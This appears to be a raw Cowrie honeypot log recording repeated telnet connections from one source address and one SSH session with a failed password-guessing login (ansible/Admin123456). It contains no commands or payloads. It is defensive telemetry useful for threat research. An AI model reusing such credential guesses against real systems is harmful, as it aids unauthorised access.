{"eventid":"cowrie.session.closed","duration":31.034244775772095,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:27.041761Z","src_ip":"204.10.38.242","session":"561375530b22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75085735321045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:27.054023Z","src_ip":"204.10.38.242","session":"61918ed1fc3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":43854,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0f7ac7a0ace","protocol":"telnet","message":"New connection: 185.26.126.47:43854 (159.203.135.109:23) [session: d0f7ac7a0ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:27.779156Z"}
{"eventid":"cowrie.session.closed","duration":31.587785959243774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:27.902409Z","src_ip":"204.10.38.242","session":"a309fe5df09e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836371660232544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:28.217184Z","src_ip":"204.10.38.242","session":"13e894ffde89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58006,"dst_ip":"159.203.135.109","dst_port":23,"session":"26612762a535","protocol":"telnet","message":"New connection: 204.10.38.242:58006 (159.203.135.109:23) [session: 26612762a535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:28.352391Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58036,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbd05d4e5be2","protocol":"telnet","message":"New connection: 204.10.38.242:58036 (159.203.135.109:23) [session: cbd05d4e5be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:28.355846Z"}
{"eventid":"cowrie.session.closed","duration":31.037287712097168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:28.627476Z","src_ip":"204.10.38.242","session":"f36f05d9868e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59948,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceed091372bf","protocol":"telnet","message":"New connection: 204.10.38.242:59948 (159.203.135.109:23) [session: ceed091372bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:28.676418Z"}
{"eventid":"cowrie.session.closed","duration":31.301063776016235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:28.689892Z","src_ip":"204.10.38.242","session":"a2d5de6be243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.356951236724854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:28.775711Z","src_ip":"204.10.38.242","session":"e45b29b87833","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42460,"dst_ip":"159.203.135.109","dst_port":23,"session":"73e543ea5a02","protocol":"telnet","message":"New connection: 204.10.38.242:42460 (159.203.135.109:23) [session: 73e543ea5a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:28.824006Z"}
{"eventid":"cowrie.session.closed","duration":40.469746828079224,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:29.548017Z","src_ip":"204.10.38.242","session":"fafd8265dcbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40396,"dst_ip":"159.203.135.109","dst_port":22,"session":"611d5b318200","protocol":"ssh","message":"New connection: 159.203.92.129:40396 (159.203.135.109:22) [session: 611d5b318200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:29.930836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:29.935147Z","src_ip":"159.203.92.129","session":"611d5b318200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:29.939342Z","src_ip":"159.203.92.129","session":"611d5b318200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.118740797042847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:29.945593Z","src_ip":"204.10.38.242","session":"68c76b7bf2d6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Admin123456","message":"login attempt [ansible/Admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:29.953770Z","src_ip":"159.203.92.129","session":"611d5b318200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.835827827453613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:30.185703Z","src_ip":"204.10.38.242","session":"5e403050b1db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851593732833862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:30.219907Z","src_ip":"204.10.38.242","session":"78b9ac2e2ea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:30.961768Z","src_ip":"159.203.92.129","session":"611d5b318200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.914714097976685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:31.064492Z","src_ip":"204.10.38.242","session":"5dd8e4867cbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44706,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0ae4f6a0a91","protocol":"telnet","message":"New connection: 204.10.38.242:44706 (159.203.135.109:23) [session: a0ae4f6a0a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:31.437369Z"}
{"eventid":"cowrie.session.closed","duration":31.156951189041138,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:31.528396Z","src_ip":"204.10.38.242","session":"b66fb66f8580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49918,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2d1a1b054dc","protocol":"telnet","message":"New connection: 204.10.38.242:49918 (159.203.135.109:23) [session: b2d1a1b054dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:32.505094Z"}
{"eventid":"cowrie.session.closed","duration":31.42150354385376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:32.864653Z","src_ip":"204.10.38.242","session":"48bffe5d459e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774667739868164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:33.181422Z","src_ip":"204.10.38.242","session":"8722dc1242cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84049081802368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:33.185365Z","src_ip":"204.10.38.242","session":"58e31010837e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63688349723816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:33.334848Z","src_ip":"204.10.38.242","session":"adbe2a4501d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.012980461120605,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:33.435888Z","src_ip":"204.10.38.242","session":"8c2131e8caf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42388081550598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:33.752993Z","src_ip":"204.10.38.242","session":"26a2b1868948","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41354,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5bd7d42ead4","protocol":"telnet","message":"New connection: 204.10.38.242:41354 (159.203.135.109:23) [session: d5bd7d42ead4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:34.812741Z"}
{"eventid":"cowrie.session.closed","duration":30.722269773483276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:35.114180Z","src_ip":"204.10.38.242","session":"98c589601595","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43143367767334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:35.252464Z","src_ip":"204.10.38.242","session":"6947742d59b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34272,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bac275a083c","protocol":"telnet","message":"New connection: 204.10.38.242:34272 (159.203.135.109:23) [session: 8bac275a083c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:35.310410Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38496,"dst_ip":"159.203.135.109","dst_port":23,"session":"159b1661b846","protocol":"telnet","message":"New connection: 204.10.38.242:38496 (159.203.135.109:23) [session: 159b1661b846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:36.313671Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53550,"dst_ip":"159.203.135.109","dst_port":23,"session":"08093f518bcb","protocol":"telnet","message":"New connection: 204.10.38.242:53550 (159.203.135.109:23) [session: 08093f518bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:36.389700Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34776,"dst_ip":"159.203.135.109","dst_port":23,"session":"70504e5b6a15","protocol":"telnet","message":"New connection: 204.10.38.242:34776 (159.203.135.109:23) [session: 70504e5b6a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:36.405403Z"}
{"eventid":"cowrie.session.closed","duration":30.888553380966187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:37.158916Z","src_ip":"204.10.38.242","session":"016f71e9831b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54799461364746,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:37.715875Z","src_ip":"204.10.38.242","session":"d501d2f532b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.659847259521484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:37.995777Z","src_ip":"204.10.38.242","session":"7594b683c51e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.637704610824585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:38.096291Z","src_ip":"204.10.38.242","session":"433dbd6b4700","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.446166515350342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:38.190009Z","src_ip":"204.10.38.242","session":"dea935c1a2ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.389480113983154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:39.109612Z","src_ip":"204.10.38.242","session":"6cfad3094b45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95381808280945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:39.113806Z","src_ip":"204.10.38.242","session":"8df9c9567c98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53102,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b03d01f5cbf","protocol":"telnet","message":"New connection: 204.10.38.242:53102 (159.203.135.109:23) [session: 3b03d01f5cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:39.404007Z"}
{"eventid":"cowrie.session.closed","duration":30.25294041633606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:40.163480Z","src_ip":"204.10.38.242","session":"bf3b5387e25e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56686,"dst_ip":"159.203.135.109","dst_port":23,"session":"40b55baa1a7b","protocol":"telnet","message":"New connection: 204.10.38.242:56686 (159.203.135.109:23) [session: 40b55baa1a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:40.286611Z"}
{"eventid":"cowrie.session.closed","duration":30.854210376739502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:40.314516Z","src_ip":"204.10.38.242","session":"4fab0016daf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60386,"dst_ip":"159.203.135.109","dst_port":23,"session":"8681224db98d","protocol":"telnet","message":"New connection: 204.10.38.242:60386 (159.203.135.109:23) [session: 8681224db98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:40.940722Z"}
{"eventid":"cowrie.session.closed","duration":30.739982843399048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:41.056490Z","src_ip":"204.10.38.242","session":"4a6cf4f4052e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71077299118042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:41.100324Z","src_ip":"204.10.38.242","session":"ad5653c4a5c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.618451833724976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:41.104856Z","src_ip":"204.10.38.242","session":"5512cd6f7d76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.385072708129883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:41.177724Z","src_ip":"204.10.38.242","session":"4dbfefe9fdbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102534770965576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:41.181900Z","src_ip":"204.10.38.242","session":"ab796894d4c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33408,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd5b4da2d65d","protocol":"telnet","message":"New connection: 204.10.38.242:33408 (159.203.135.109:23) [session: cd5b4da2d65d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:41.288018Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33784,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7a5cc7e2235","protocol":"telnet","message":"New connection: 204.10.38.242:33784 (159.203.135.109:23) [session: c7a5cc7e2235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:41.331923Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35020,"dst_ip":"159.203.135.109","dst_port":23,"session":"93b91e6ae259","protocol":"telnet","message":"New connection: 204.10.38.242:35020 (159.203.135.109:23) [session: 93b91e6ae259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:41.516399Z"}
{"eventid":"cowrie.session.closed","duration":31.968860149383545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:41.951016Z","src_ip":"204.10.38.242","session":"e6270017991c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37552,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9420a8432dc","protocol":"telnet","message":"New connection: 204.10.38.242:37552 (159.203.135.109:23) [session: d9420a8432dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:42.053112Z"}
{"eventid":"cowrie.session.closed","duration":31.18985676765442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:42.161473Z","src_ip":"204.10.38.242","session":"c67d3093186e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33906,"dst_ip":"159.203.135.109","dst_port":23,"session":"284d17b69a22","protocol":"telnet","message":"New connection: 204.10.38.242:33906 (159.203.135.109:23) [session: 284d17b69a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:42.481123Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40888,"dst_ip":"159.203.135.109","dst_port":23,"session":"12e93a310cdf","protocol":"telnet","message":"New connection: 204.10.38.242:40888 (159.203.135.109:23) [session: 12e93a310cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:42.657030Z"}
{"eventid":"cowrie.session.closed","duration":31.24915909767151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:42.703710Z","src_ip":"204.10.38.242","session":"e13aa04fd71f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51426339149475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:42.823114Z","src_ip":"204.10.38.242","session":"8cf89ac3ba5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36562,"dst_ip":"159.203.135.109","dst_port":23,"session":"7addf29978ff","protocol":"telnet","message":"New connection: 204.10.38.242:36562 (159.203.135.109:23) [session: 7addf29978ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:42.840552Z"}
{"eventid":"cowrie.session.closed","duration":31.10722541809082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:42.936443Z","src_ip":"204.10.38.242","session":"763c26b5c470","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13296937942505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:43.136085Z","src_ip":"204.10.38.242","session":"19513d264506","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77634620666504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:44.218230Z","src_ip":"204.10.38.242","session":"62cbe65af217","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49642,"dst_ip":"159.203.135.109","dst_port":23,"session":"0062b4de4a53","protocol":"telnet","message":"New connection: 204.10.38.242:49642 (159.203.135.109:23) [session: 0062b4de4a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:44.486105Z"}
{"eventid":"cowrie.session.closed","duration":31.495429039001465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:44.729354Z","src_ip":"204.10.38.242","session":"08d748c53043","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90523886680603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:45.224447Z","src_ip":"204.10.38.242","session":"d7139bd7ded9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38350,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a85dfc2e696","protocol":"telnet","message":"New connection: 204.10.38.242:38350 (159.203.135.109:23) [session: 1a85dfc2e696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:45.280120Z"}
{"eventid":"cowrie.session.closed","duration":30.894814252853394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:45.315026Z","src_ip":"204.10.38.242","session":"5e5848fabac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57175588607788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:46.122647Z","src_ip":"204.10.38.242","session":"e7f2fbb713d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57290,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1595164a179","protocol":"telnet","message":"New connection: 204.10.38.242:57290 (159.203.135.109:23) [session: b1595164a179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:46.171733Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53568,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b6c38d4fa1f","protocol":"telnet","message":"New connection: 204.10.38.242:53568 (159.203.135.109:23) [session: 6b6c38d4fa1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:46.361086Z"}
{"eventid":"cowrie.session.closed","duration":31.581809997558594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:46.606349Z","src_ip":"204.10.38.242","session":"648053bbc997","protocol":"telnet"}
